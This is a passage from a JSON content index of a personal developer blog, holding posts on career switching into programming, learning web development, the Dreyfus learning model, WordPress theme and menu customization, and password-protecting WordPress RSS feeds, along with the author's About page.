Reddit thread that I answered recently about mobile development:\n","title":"Ask Away: Back-end programming and mobile development","type":"posts"},{"content":"","date":"29 April 2014","externalUrl":null,"permalink":"/categories/career-switching/","section":"Categories","summary":"","title":"Career Switching","type":"categories"},{"content":" The call came in around 3:00 PM and I ran outside to take it in private. The call was from the start-up in Michigan that I had been interviewing with for three weeks and they had finally made a decision.\nThey were going with someone else.\nI was more than a little surprised. Things had been going great and we were already talking about future strategies and how I could get them to where they needed to go. They were excited by what I could bring and had even talked about stock options and exit strategies and plans to come visit their office.\nI thanked them for their time and asked them what made them not choose me.\n\u0026ldquo;You were great. By far the best person we interviewed technology-wise.\u0026rdquo;\nThat statement soothed my ego, but their next statement made me realize one of the biggest shortcomings every \u0026ldquo;computer scientist\u0026rdquo; has and one of the biggest strengths a person switching careers to programming brings with them.\nFatal Flaw # I\u0026rsquo;ve run into this a couple of times in my career. I am the proverbial \u0026ldquo;computer scientist\u0026rdquo; that majored in Computer Science and have been working as a web programmer since my very first job that I landed while still in school. I know web development inside and out, from what languages to use when, gotchas and caveats with client to server communications, what dangers lurk in web applications and a whole bunch of other web stuff.\nAnd that\u0026rsquo;s about it.\nI\u0026rsquo;ve worked for a web design company, an energy corporation, a jewelry corporation, a point of sale manufacturer and they all have very specific business models and marketing strategies. And I tried my hardest not to learn any of it.\nI\u0026rsquo;m a programmer, damn it! I don\u0026rsquo;t need to learn any of that salesy, foofoo stuff. I just want to program my little websites and have everyone just leave me alone in my little cave.\nAnd this is exactly what most web programmers do. We\u0026rsquo;re not a real sociable bunch. And that\u0026rsquo;s exactly why people who want to switch their career to web programming already have a leg up on nearly everyone that\u0026rsquo;s already doing it.\nLittle Advantages # To see why, you just need to understand one thing about computer programming in general; for the majority of businesses computer programmers don\u0026rsquo;t make money, they\u0026rsquo;re there to help other people make money. This is why every IT department is considered a Cost Center, a support to the business, a place where money is spent, not made. The focus of most companies is not writing software. Software is just there to help the real business be more efficient. IT should be saving money, but they sure aren\u0026rsquo;t making money.\nSo how do you know what kind of software solution can save the most money? By understanding the business first.\nAs a web programmer, I don\u0026rsquo;t know a damn thing about diamond clarity, inventory control, kilowatt-hours, OSHA requirements or charge backs. I can\u0026rsquo;t prioritize my work myself or, more importantly, recommend features that will save the company money. And that\u0026rsquo;s how you stand out as an exceptional programmer. Your boss won\u0026rsquo;t get the merits of picking a queue over a stack, but if you can show a bottom line return on what you\u0026rsquo;ve built, you\u0026rsquo;re on the fast track to greater things. If you can speak the boss\u0026rsquo;s language and the industry\u0026rsquo;s language, you have a huge leg up on every other programmer you\u0026rsquo;re competing against. Demonstrate that ability in a job interview and you\u0026rsquo;ll easily beat out the chump that\u0026rsquo;s just done nothing but web programming for 15 years. (That would be me.)\nAnd that\u0026rsquo;s your secret weapon over guys like me: Industry Knowledge.\nIndustry Knowledge # What they told me was, \u0026ldquo;You\u0026rsquo;re the better programmer, but \\[the other applicant\\] has worked in our industry before.\u0026rdquo;\nDon\u0026rsquo;t discount this. There have been a number of career switchers that I\u0026rsquo;ve tutored that have said things like, \u0026ldquo;I hated my job. I never want to work in that industry again.\u0026rdquo;\nDon\u0026rsquo;t do this. Yes, I realize that you hate what you\u0026rsquo;re doing now, but you\u0026rsquo;re throwing away your biggest advantage by trying to ditch the entire industry. There\u0026rsquo;s a reason you got into that industry in the first place and you need to figure out what it is and then tap into that in your web programming.\nWere you in finance and now hate what you\u0026rsquo;re doing? Don\u0026rsquo;t get out of finance completely. There are plenty of start-ups that are working on banking software or personal finance applications. Investigate them and see if you\u0026rsquo;ll fit in. Most start-ups would jump at the opportunity to hire on someone with deep industry knowledge that also can work on the programming side of things.\nJust had a couple of years working a call center? You might think that\u0026rsquo;s wasted time, but you have intimate knowledge of the software used to handle and route calls and can provide valuable insight into how it could be improved to speed up call times and get information to the operator when they need it. When you don\u0026rsquo;t do amazingly on the tech side of an interview, this is the kind of knowledge you whip out to show that you can do things that directly makes or saves them money.\nMy business partner at RuskinARC holds most of the equity in that company for a reason, he knows historic preservation surveys. It\u0026rsquo;s a niche field and he has a Masters in Historic Architecture. There\u0026rsquo;s no way I could have created that application without his knowledge. Without a framework to build against, a pure computer scientist doesn\u0026rsquo;t have much of an application to build.\nThat start-up in Michigan eventually made me an offer a couple of months later to come on as employee number two. I had found something better in the meantime and turned them down, but I did learn an important lesson:\nProgramming is a skill that can be taught, but industry knowledge is invaluable and rare and, if used right, will set you apart from the crowd.\nIf you\u0026rsquo;re wondering where to even start in web programming, I wrote up a little post called What to learn when you want to learn web development to help get you started.\nWhat industry are you coming from?\n","date":"29 April 2014","externalUrl":null,"permalink":"/secret-weapon-career-switchers-computer-scientists/","section":"Posts","summary":" The call came in around 3:00 PM and I ran outside to take it in private. The call was from the start-up in Michigan that I had been interviewing with for three weeks and they had finally made a decision.\n","title":"The secret weapon career switchers have over \"computer scientists\"","type":"posts"},{"content":"","date":"24 April 2014","externalUrl":null,"permalink":"/categories/novice/","section":"Categories","summary":"","title":"Novice","type":"categories"},{"content":"I\u0026rsquo;ve seen a lot of posts on /r/learnprogramming and other places wondering how to get started with web programming. I\u0026rsquo;ve been doing this for about 15 years now and I\u0026rsquo;m here to give you some good news. Everything that I\u0026rsquo;ve done, from bill pay sites for Fortune 100 companies to lead tracking applications for small businesses, is essentially based on one simple concept and that\u0026rsquo;s CRUD.\nCRUDdy Applications # In the computer world, CRUD stands for Create, Read, Update, Delete, which describes the four basic actions that most web applications need to do. In fact, they map directly to how the web and most databases are set up. (The HTTP protocol supports PUT, GET, POST and DELETE commands and SQL supports INSERT, SELECT, UPDATE and DELETE also.) These types of web applications are called Information Systems and if you can learn to make them, you will be 80% of the way to being the type of web developer businesses are looking for.\nSo, what does this mean in practical terms? You need to know how to:\nTake information from a user of the site (a form on a web page) Check the information to make sure it\u0026rsquo;s correct (also called Validation) Save the information to a database Show the information back to the user I\u0026rsquo;ve just explained the majority of the web in those simple bullet points.\nLook at Twitter. Take a status update from a user, check to make sure it\u0026rsquo;s less than 140 characters, save it to a back-end database and show it to all the followers.\nLook at Wikipedia. Take an article entered by a user, check to make sure that the user has the ability to update the article and gives an update message, save it to a back-end database and show it to anyone that visits that article.\nLook at Google. Pull a website\u0026rsquo;s contents from the site, check to see if it\u0026rsquo;s been updated, stick the content in the search engine and show proper search results when a user searches on a topic.\nIs it more complicated than this? Of course it is. Each application has it\u0026rsquo;s own requirements and needs, but 80% of it is the same. This is where you need to focus when you first start out, with this 80%. With that, you can get really far and prove to a potential employer that you\u0026rsquo;ve learned the basics they need. The rest is learning business specific stuff that they\u0026rsquo;ll expect to teach you on the job anyway.\nThe Secret Sauce # So if you ever wanted to know what you needed to learn in order to do web programming, it basically boils down to this:\nYou will need to learn basic web front-end programming. This doesn\u0026rsquo;t need to be complicated at first! You can do most of this with just a basic understanding of HTML and CSS. If you\u0026rsquo;re doing back office applications for businesses, you won\u0026rsquo;t need a bunch of flashy, fancy JavaScript to make things zoom around the page. Here\u0026rsquo;s the deal, most web applications start of with just a simple HTML front-end. Just basic tags and simple layouts because once you get the basics down, you add the fancy JavaScript later anyway. I\u0026rsquo;ve worked in Fortune 100 companies where most of the developers don\u0026rsquo;t know JavaScript at all. At all. It\u0026rsquo;ll be on the job posting, but being a master at it is a bonus, not really expected. Understand HTML first, then learn JavaScript. You\u0026rsquo;ll need to learn a back-end language of some sort that will run on a web server and deliver your HTML pages. Whether that\u0026rsquo;s PHP, Ruby, Python, Node.js, Java or whatever other language you want, it really doesn\u0026rsquo;t matter. It only matters based on what kind of client you\u0026rsquo;re looking to sell to or company you\u0026rsquo;re looking to work for. Want to join a startup? Learn Ruby on Rails, Django for Python or Sails.js for Node.js. Want to join a big corporation? Learn Spring for Java or ASP.NET for C#. Want to do work for small or medium sized companies? Learn Laravel for PHP. My only strict advice here is \u0026ldquo;Learn only one.\u0026rdquo; Stick with just one of these for now and your life will be a lot easier. They are each different enough that you will confuse yourself if you try to learn them all at once. You can always go back and learn another framework in a different language after you\u0026rsquo;ve got a really good understanding of the first one. You\u0026rsquo;ll find it much easier to learn other languages once you already have one under your belt. For me, I started with C++, moved to Perl, then Java, then PHP, then Ruby, then back to PHP and have done a little Python and JavaScript along the way. In this profession, you will always be learning, so nail one now and the rest will come as needed. Lastly, you\u0026rsquo;ll need a database. 99% of the time, this will be an SQL database and MySQL is the standard, so stick with it for now. \u0026ldquo;But I heard PostgreSQL is a better database.\u0026rdquo; \u0026ldquo;But big corporations use Oracle.\u0026rdquo; Doesn\u0026rsquo;t really matter. Most of it\u0026rsquo;s the same anyway and everyone and their mother has MySQL installed, so just use it for now and broaden out later. Luckily, you shouldn\u0026rsquo;t need to learn too much of the SQL language right away since any decent back-end framework worth anything will have what are called \u0026ldquo;database migrations\u0026rdquo; and an \u0026ldquo;ORM\u0026rdquo; built in, allowing you to use it to define and manipulate the database using your back-end language. This is true for Rails, Django and Laravel. Getting to a point where you can create a simple web application with these three components—front-end, back-end and database­—will put you well on your way to knowing 80% of what you need to be a web developer. There are an infinite number of other things you can pick up along the way, but what you need to remember is that your job is to create an application that makes other people\u0026rsquo;s lives easier, and you can do that with just the above three components. Everything else can be added piece by piece onto this foundation.\nOther resources:\nThe Odin Project - Thorough introduction to Ruby on Rails development. Laracasts - Screencasts for the PHP Laravel framework (some free, some paid) Getting Started with Django - Screencasts for the Python Django framework ","date":"24 April 2014","externalUrl":null,"permalink":"/learn-want-learn-web-development/","section":"Posts","summary":"I’ve seen a lot of posts on /r/learnprogramming and other places wondering how to get started with web programming. I’ve been doing this for about 15 years now and I’m here to give you some good news. Everything that I’ve done, from bill pay sites for Fortune 100 companies to lead tracking applications for small businesses, is essentially based on one simple concept and that’s CRUD.\n","title":"What to learn when you want to learn web development","type":"posts"},{"content":"Having been in web development for over 15 years, I’ve had to learn a lot of new technologies. When I started, JavaScript was something you avoided and no one had heard of CSS. Now, you’re nothing it you don’t know both of those like the back of your hand. Things change fast on the internet and you better be able to learn programming quickly. Most of that was on the job training and that means picking things up enough to be productive now.\nOver the years, I’ve found it easier and easier to pick up new technology. A lot of this is just due to the fact that I’ve been so involved in this for so long and many of the lessons I’ve learned can be applied across the different technologies, but another part is just understanding at what stage I’m at in learning something new.\nSticking to Your Level # I’m a big believer in the Dreyfus model of learning new skills. Understanding where you lie in the different skill levels can take you a long way in understanding how to learn and, from my point of view, how to teach. One thing that many other programmers and teachers get wrong is not understanding that Novice level students can’t grasp the concepts behind a technology and that more advanced students don’t need so much step-by-step hand holding. Knowing when to make that switch will accelerate your learning ability.\nMost of us will start out anything new as a Novice. When you’re a novice, it’s very important that you get help defining every little step you need to take. Not why you’re doing something or the endless different ways you can do it, but just the simplest and most straight forward way of getting something done. When I’m teaching a new concept to a student, my first goal is to give them a step-by-step, repeatable process that will actually get them a usable result. If I’m teaching Ruby on Rails, Laravel or any other web framework, it’s a checklist of commands and code to write to get a simple, but full featured application up and running. If I’m teaching CSS, we start with an unstyled page and then layer the styles on one by one until we’re done. The key at this stage is checklists. Get a repeatable checklist that covers the major concepts and then use it. Don’t study the whole API or learn what all those concepts are, just see how it works and do it over and over again with slight variations.\nBe a Novice # At this point, it’s not about memorizing, it’s about doing. We’re not ready to understand every little nuance at first, but it’s important to be productive from the first minute. You can look up anything, so memorizing is useless, but the learning is in the doing and the questions that the doing raises in your mind. The “But what if I want to do this instead?” or “If I do this, what will happen?” questions are the first sign that you’re moving into Advanced Beginner stage. Only then should you really start to dive into the documentation at a deeper level. If we stretch ourselves out too early, we can really slow ourselves down through frustration and doubt. Not until we run through this checklist a couple of times are we ready to start looking outside of that simple view and into how we can begin to really bend it to fit our needs.\nMost tutorials and documentation online get this all wrong. Many novice users are trying to piece together lots of random blog posts or anemic tutorials to try to understand how to be effective in a new technology. You can learn that way, but the amount of time it takes will be way higher than if you can play to the skill level you’re at.\nMy Approach # When I do one on one tutoring and plan my books, I try and keep this in mind. I keep all of the “Why?”s out of the discussion until the actual checklist and process has been internalized first. This is also why my examples are simple and to the point. Instead of trying to make an existing web page into a theme in the book, I just lay out the basics as a checklist that should get you to a working theme very quickly. Applying it to your theme is that next step that the Advanced Beginner needs to take to truly internalize the lesson.\nDon’t get frustrated by simple tutorials. Understand that it’s part of the process and will help you learn things a lot faster if you stick with it.\n","date":"30 March 2014","externalUrl":null,"permalink":"/learn-programming-quickly/","section":"Posts","summary":"Having been in web development for over 15 years, I’ve had to learn a lot of new technologies. When I started, JavaScript was something you avoided and no one had heard of CSS. Now, you’re nothing it you don’t know both of those like the back of your hand. Things change fast on the internet and you better be able to learn programming quickly. Most of that was on the job training and that means picking things up enough to be productive now.\n","title":"How to learn programming quickly","type":"posts"},{"content":"","date":"17 October 2013","externalUrl":null,"permalink":"/categories/pages/","section":"Categories","summary":"","title":"Pages","type":"categories"},{"content":"","date":"17 October 2013","externalUrl":null,"permalink":"/categories/posts/","section":"Categories","summary":"","title":"Posts","type":"categories"},{"content":"","date":"17 October 2013","externalUrl":null,"permalink":"/categories/wordpress/","section":"Categories","summary":"","title":"WordPress","type":"categories"},{"content":"When building your WordPress theme, you might have been planning it to be used mainly as a blog theme or perhaps you lean in the web pages direction. Either way, to make a fully integrated WordPress theme, you need to make sure both Pages and Posts are fully supported. And that means you should have a single.php and a page.php included in your theme and they shouldn’t look the same.\nYou may think this is obvious, but I’ve seen many times when a theme is geared just toward web pages or just toward blogs (the most common) and then have a junky default index.php for handling the other half because the theme wasn’t fully thought through. Posts and Pages are both first-class citizens in WordPress and should be treated that way. And your clients will love you if you do.\nWhat Posts Have That Pages Don’t # Blog Posts need a couple of key elements that Pages shouldn’t have. They are:\nAuthor Information - Pages shouldn’t have author information listed. It just doesn’t make sense to show author information on a static page that will probably be updated often and have multiple authors. It’s not one person’s ideas, it’s static information for the site. Date Information - Pages shouldn’t have when they were first published. Again, Pages could be updated often and having date and time of publication just doesn’t make sense for most Pages. Tags and Categories - Pages can’t have tags and categories, so don’t have a place for them on page.php . What Pages Have That Posts Don’t # Breadcrumbs - Posts don’t have child posts, but Pages can have a parent. A place where you show where this Page lives in the hierarchy of pages will help visitors navigate a complex page structure better. Different Navigation Menu - What if your users want a different navigation on their Pages than they have on their Posts? Have a differently named Menu in single.php and page.php and they’ll have the power to tailor the navigation to their needs depending on where the user is at on their site. This is a very powerful technique that a user of your theme can use to really customize their site and have the site act differently when it’s in Post mode versus Page mode. If they don’t need this feature, they can just assign the same Menu Structure to each Menu, so no harm done. Different Widget Areas - Again, if your users want a different experience when someone is on their blog versus their static website, having a differently named Widget Area will help them do that. Remember, some people may use your theme for a full content management system to run their website and some will use it just as a simple blog. Take the time to care about both uses and you’ll have many more happy customers.\n","date":"17 October 2013","externalUrl":null,"permalink":"/wordpress-post-vs-page/","section":"Posts","summary":"When building your WordPress theme, you might have been planning it to be used mainly as a blog theme or perhaps you lean in the web pages direction. Either way, to make a fully integrated WordPress theme, you need to make sure both Pages and Posts are fully supported. And that means you should have a single.php and a page.php included in your theme and they shouldn’t look the same.\nYou may think this is obvious, but I’ve seen many times when a theme is geared just toward web pages or just toward blogs (the most common) and then have a junky default index.php for handling the other half because the theme wasn’t fully thought through. Posts and Pages are both first-class citizens in WordPress and should be treated that way. And your clients will love you if you do.\n","title":"WordPress Post vs. Page","type":"posts"},{"content":"","date":"17 October 2013","externalUrl":null,"permalink":"/categories/wordpress-tips/","section":"Categories","summary":"","title":"WordPress Tips","type":"categories"},{"content":"WordPress isn’t always the friendliest thing in the world to style and the WordPress menus are no different. To get at the WordPress menu CSS takes a couple of hoops to jump through, but I’ll walk you through them now to illustrate how it can be done.\nWith everything wrapped up in that wp_nav_menu() Template Tag, how do we get our styles and customizations in there to make that navigation look the way we want it?\nChanging Menu CSS Styles # Let\u0026rsquo;s say that we have navigation on our site, displayed like so:\n\u0026lt;?php wp_nav_menu( array( \u0026#39;theme_location\u0026#39; =\u0026gt; \u0026#39;main\u0026#39; ) ) ?\u0026gt; The first thing that needs to go is that \u0026lt;div\u0026gt; it\u0026rsquo;s using to put the unordered list in. We\u0026rsquo;re writing HTML5 here, we don\u0026rsquo;t need no stinkin\u0026rsquo; \u0026lt;div\u0026gt; . By adding another parameter on the wp_nav_menu() call, we can wrap the navigation in a proper \u0026lt;nav\u0026gt; tag.\n\u0026lt;?php wp_nav_menu( array( \u0026#39;theme_location\u0026#39; =\u0026gt; \u0026#39;main\u0026#39;, \u0026#39;container\u0026#39; =\u0026gt; \u0026#39;nav\u0026#39; ) ) ?\u0026gt; That\u0026rsquo;s better. You should see that the \u0026lt;div\u0026gt; has now been replaced by a \u0026lt;nav\u0026gt; . We still have a class called menu-primary-container added to it, which should be fine.\nLet\u0026rsquo;s say we\u0026rsquo;re also using Bootstrap CSS to style this page, so the menu looks a bit weird at the moment. Luckily, we also have a little bit of control over the \u0026lt;ul\u0026gt; classes too, so let\u0026rsquo;s add the Bootstrap navigation CSS classes to it.\n\u0026lt;?php wp_nav_menu( array( \u0026#39;theme_location\u0026#39; =\u0026gt; \u0026#39;main\u0026#39;, \u0026#39;container\u0026#39; =\u0026gt; \u0026#39;nav\u0026#39;, \u0026#39;menu_class\u0026#39; =\u0026gt; \u0026#39;nav nav-pills\u0026#39; ) ) ?\u0026gt; Now the \u0026lt;ul\u0026gt; has two new classes, nav and nav-pills , and looks very nice indeed in our theme. We now show the \u0026lt;ul\u0026gt; in a \u0026lt;nav\u0026gt; tag and added extra classes to our \u0026lt;ul\u0026gt; so that we can style it how we choose.\nChanging Item CSS Styles # But links on the navigation don\u0026rsquo;t highlight when we\u0026rsquo;re on the page for an item! Bootstrap uses the CSS class active to show the current page while WordPress uses current-menu-item . If you\u0026rsquo;re in control of your CSS, you should honestly just use the WordPress classes. You\u0026rsquo;ll save a lot of time.\nBut sometimes, like for me, you just don\u0026rsquo;t have control over the CSS. Luckily, there is a way to investigate each item\u0026rsquo;s classes as it\u0026rsquo;s displayed and modify them, if needed. To do that, we\u0026rsquo;ll need to head to our functions.php file.\nWe\u0026rsquo;re now going to add another function and hook it up to WordPress right before WordPress shows a menu item:\nfunction mytheme_menu_item_classes($classes){ if( in_array(\u0026#39;current-menu-item\u0026#39;, $classes) ){ array_push($classes, \u0026#39;active\u0026#39;); } return $classes; } add_filter(\u0026#39;nav_menu_css_class\u0026#39; , \u0026#39;mytheme_menu_item_classes\u0026#39;); First, I\u0026rsquo;m defining a function called mytheme_menu_item_classes . Within this function, I\u0026rsquo;m doing some fancy PHP coding. WordPress is going to give me all the classes that it\u0026rsquo;s going to add to this \u0026lt;li\u0026gt; item, so I can look at them and see if I need to add in my active class. Since I know WordPress will add the current-menu-item class if this item is the same as the current page, all I need to do is see if that class is in ( in_array() ) the current $classes that WordPress is using and if it is, I\u0026rsquo;ll add in ( array_push() ) my active class. This might take a bit to wrap your head around, but you can now use this code to add your own specialized classes to any menu item.\nFinally, I add my function into the WordPress Hook for building the nav menu CSS classes. Now my function will run on every menu item and add the class active whenever an item already has the class current-menu-item .\nYou now have all you need to fully style any wp_nav_menu() call in your theme.\n","date":"13 October 2013","externalUrl":null,"permalink":"/wordpress-menu-css-customization/","section":"Posts","summary":"WordPress isn’t always the friendliest thing in the world to style and the WordPress menus are no different. To get at the WordPress menu CSS takes a couple of hoops to jump through, but I’ll walk you through them now to illustrate how it can be done.\n","title":"WordPress Menu CSS Customization","type":"posts"},{"content":"","date":"9 October 2013","externalUrl":null,"permalink":"/categories/authentication/","section":"Categories","summary":"","title":"Authentication","type":"categories"},{"content":"Someone asked this over at http://wordpress.stackexchange.com and I put a lot of research into it, so I figured I\u0026rsquo;d post it here too.\nSomeone had asked how to go about securing RSS feeds behind a firewall in WordPress. It\u0026rsquo;s not an overly easy process so I dug in to try and figure it out.\nI knew that WordPress had a lot of action hooks, little pieces of code that a developer (like you) can tie into to change how WordPress behaves. This is how all these great plugins can change core functionality of WordPress when you install them.\nI knew there had to be a hook for displaying feeds and all I needed to do was to find that hook and run some authentication checks before the feed was displayed. I worked on that, tested it and here was my answer.\nThere is a solution as described here where you can put code at the top of wp-includes/feed-rss2.php to authenticate that the requester is a registered WordPress user. A better solution is to add it to your theme\u0026rsquo;s functions.php file:\nfunction my_check_feed_auth() { if (!isset($_SERVER[\u0026#39;PHP_AUTH_USER\u0026#39;])) { header(\u0026#39;WWW-Authenticate: Basic realm=\u0026#34;RSS Feeds\u0026#34;\u0026#39;); header(\u0026#39;HTTP/1.0 401 Unauthorized\u0026#39;); echo \u0026#39;Feeds from this site are private\u0026#39;; exit; } else { if (is_wp_error(wp_authenticate($_SERVER[\u0026#39;PHP_AUTH_USER\u0026#39;],$_SERVER[\u0026#39;PHP_AUTH_PW\u0026#39;]))) { header(\u0026#39;WWW-Authenticate: Basic realm=\u0026#34;RSS Feeds\u0026#34;\u0026#39;); header(\u0026#39;HTTP/1.0 401 Unauthorized\u0026#39;); echo \u0026#39;Username and password were not correct\u0026#39;; exit; } } } add_action(\u0026#39;do_feed_rss2\u0026#39;, \u0026#39;my_check_feed_auth\u0026#39;, 1); add_action(\u0026#39;do_feed_atom\u0026#39;, \u0026#39;my_check_feed_auth\u0026#39;, 1); add_action(\u0026#39;do_feed_rss\u0026#39;, \u0026#39;my_check_feed_auth\u0026#39;, 1); add_action(\u0026#39;do_feed_rdf\u0026#39;, \u0026#39;my_check_feed_auth\u0026#39;, 1); This will require Basic Auth, which most RSS readers can configure, with the user\u0026rsquo;s WordPress login information. You can add more feeds on to the end there with more add_action calls, if you want.\n","date":"9 October 2013","externalUrl":null,"permalink":"/requiring-authentication-wordpress-feeds/","section":"Posts","summary":"Someone asked this over at http://wordpress.stackexchange.com and I put a lot of research into it, so I figured I’d post it here too.\nSomeone had asked how to go about securing RSS feeds behind a firewall in WordPress. It’s not an overly easy process so I dug in to try and figure it out.\n","title":"Requiring Authentication for WordPress Feeds","type":"posts"},{"content":"","date":"9 October 2013","externalUrl":null,"permalink":"/categories/rss/","section":"Categories","summary":"","title":"Rss","type":"categories"},{"content":"You\u0026rsquo;ve found the website of Joe Erickson, a senior software developer at Recurrent Auto.\nI\u0026rsquo;ve been a software developer for over 20 years, starting off in 1998 at a small web design shop in Akron, Ohio. While I did go to Kent State University for a computer related degree, almost all of my learning was done on the job and in my spare time. Since then, I have learned Perl, Ruby, Java, PHP, CSS, HTML, JavaScript and many other languages along the way, in addition to all the architectural and system administration skills that surround web development.\nI\u0026rsquo;m also a dad of two smart girls and like to write in my spare time. I\u0026rsquo;m still trying to figure out how I can help more people into this profession, especially those who are underrepresented, who are sorely needed. You can catch some of my more helpful videos at Tech Elevator\u0026rsquo;s Learn to Code resource page and my Personal Bootcamp talk from PyOhio.\nFeel free to contact me about anything by emailing me at joe at jerickson.net.\n","externalUrl":null,"permalink":"/about/","section":"Welcome to JErickson.net","summary":"You’ve found the website of Joe Erickson, a senior software developer at Recurrent Auto.\nI’ve been a software developer for over 20 years, starting off in 1998 at a small web design shop in Akron, Ohio. While I did go to Kent State University for a computer related degree, almost all of my learning was done on the job and in my spare time. Since then, I have learned Perl, Ruby, Java, PHP, CSS, HTML, JavaScript and many other languages along the way, in addition to all the architectural and system administration skills that surround web development.\n","title":"About Me","type":"page"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"},{"content":"","externalUrl":null,"permalink":"/","section":"Welcome to JErickson.net","summary":"","title":"Welcome to JErickson.net","type":"page"}]